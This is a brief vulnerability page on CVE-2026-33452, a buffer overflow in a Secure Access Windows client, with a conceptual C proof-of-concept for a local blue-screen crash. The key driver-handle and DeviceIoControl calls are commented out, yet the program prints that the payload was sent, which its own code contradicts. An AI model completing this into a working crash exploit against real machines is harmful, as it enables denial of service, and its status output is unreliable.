CVE-2026-33452 Secure Access客户端缓冲区溢出漏洞

#include <windows.h> #include <stdio.h> /* * PoC Concept for CVE-2026-33452 * This is a conceptual demonstration of triggering a buffer overflow. * Target: NetMotion Secure Access Windows Client < 14.50 * Impact: Local Denial of Service (BSOD) */ int main() { HANDLE hDevice; char exploitBuffer[5000]; DWORD bytesReturned; // Initialize buffer with 'A' (0x41) to overflow the target buffer memset(exploitBuffer, 'A', sizeof(exploitBuffer)); printf("[+] Preparing exploit payload for CVE-2026-33452...\n"); // Note: In a real scenario, the attacker would open a handle to the // vulnerable NetMotion driver or service interface. // hDevice = CreateFile("\\\\.\\NetMotionVulnDriver", ... // Trigger the overflow by sending the buffer via DeviceIoControl // DeviceIoControl(hDevice, IOCTL_VULN_FUNC, exploitBuffer, sizeof(exploitBuffer), NULL, 0, &bytesReturned, NULL); printf("[!] Payload sent. If vulnerability exists, system should crash (BSOD).\n"); return 0; }